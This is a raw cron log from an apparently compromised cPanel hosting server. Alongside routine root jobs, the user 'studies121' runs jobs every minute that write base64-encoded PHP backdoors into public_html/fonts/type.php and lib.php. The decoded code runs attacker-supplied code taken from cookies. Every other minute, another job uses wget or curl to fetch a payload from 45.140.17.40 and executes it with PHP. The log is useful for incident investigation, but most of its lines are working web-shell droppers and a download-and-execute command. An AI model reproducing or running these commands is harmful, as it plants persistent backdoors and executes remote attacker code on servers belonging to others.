Sep  2 14:15:01 ip-184-168-122-23 CROND[29221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:15:01 ip-184-168-122-23 CROND[29222]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 14:15:01 ip-184-168-122-23 CROND[29223]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:15:01 ip-184-168-122-23 CROND[29224]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:15:01 ip-184-168-122-23 CROND[29225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:15:01 ip-184-168-122-23 CROND[29228]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:15:01 ip-184-168-122-23 CROND[29227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:16:01 ip-184-168-122-23 CROND[29397]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:16:01 ip-184-168-122-23 CROND[29399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:16:01 ip-184-168-122-23 CROND[29402]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 14:16:01 ip-184-168-122-23 CROND[29400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:16:01 ip-184-168-122-23 CROND[29401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:16:01 ip-184-168-122-23 CROND[29404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:17:01 ip-184-168-122-23 CROND[29523]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:17:01 ip-184-168-122-23 CROND[29525]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:17:01 ip-184-168-122-23 CROND[29527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:17:01 ip-184-168-122-23 CROND[29528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:18:01 ip-184-168-122-23 CROND[29613]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:18:01 ip-184-168-122-23 CROND[29615]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:18:01 ip-184-168-122-23 CROND[29616]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:18:01 ip-184-168-122-23 CROND[29617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:18:01 ip-184-168-122-23 CROND[29618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:19:01 ip-184-168-122-23 CROND[29728]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:19:01 ip-184-168-122-23 CROND[29731]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:19:01 ip-184-168-122-23 CROND[29730]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:19:01 ip-184-168-122-23 CROND[29732]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29831]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:20:01 ip-184-168-122-23 CROND[29834]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29835]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:20:01 ip-184-168-122-23 CROND[29833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29840]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29838]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:20:01 ip-184-168-122-23 CROND[29839]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 14:21:01 ip-184-168-122-23 CROND[30049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:21:01 ip-184-168-122-23 CROND[30051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:21:01 ip-184-168-122-23 CROND[30052]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:21:01 ip-184-168-122-23 CROND[30055]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:22:02 ip-184-168-122-23 CROND[30179]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:22:02 ip-184-168-122-23 CROND[30181]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:22:02 ip-184-168-122-23 CROND[30182]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:22:02 ip-184-168-122-23 CROND[30183]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:22:02 ip-184-168-122-23 CROND[30186]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:23:01 ip-184-168-122-23 CROND[30272]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:23:01 ip-184-168-122-23 CROND[30273]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:23:01 ip-184-168-122-23 CROND[30274]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:23:01 ip-184-168-122-23 CROND[30275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:24:01 ip-184-168-122-23 CROND[30352]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:24:01 ip-184-168-122-23 CROND[30351]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:24:01 ip-184-168-122-23 CROND[30353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:24:01 ip-184-168-122-23 CROND[30355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:24:01 ip-184-168-122-23 CROND[30354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:25:02 ip-184-168-122-23 CROND[30459]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30460]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30462]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:25:02 ip-184-168-122-23 CROND[30465]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:26:01 ip-184-168-122-23 CROND[30591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 14:26:01 ip-184-168-122-23 CROND[30593]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 14:26:01 ip-184-168-122-23 CROND[30597]: (root) CMD (/usr/local/installatron/lib/cron.updater.sh)
Sep  2 14:26:01 ip-184-168-122-23 CROND[30598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 14:26:01 ip-184-168-122-23 CROND[30595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 14:26:01 ip-184-168-122-23 CROND[30600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 14:27:01 ip-184-168-122-23 crond[671]: (aromaskitchen) ORPHAN (no passwd entry)
Sep  2 14:27:01 ip-184-168-122-23 crond[671]: (jonessimon) ORPHAN (no passwd entry)
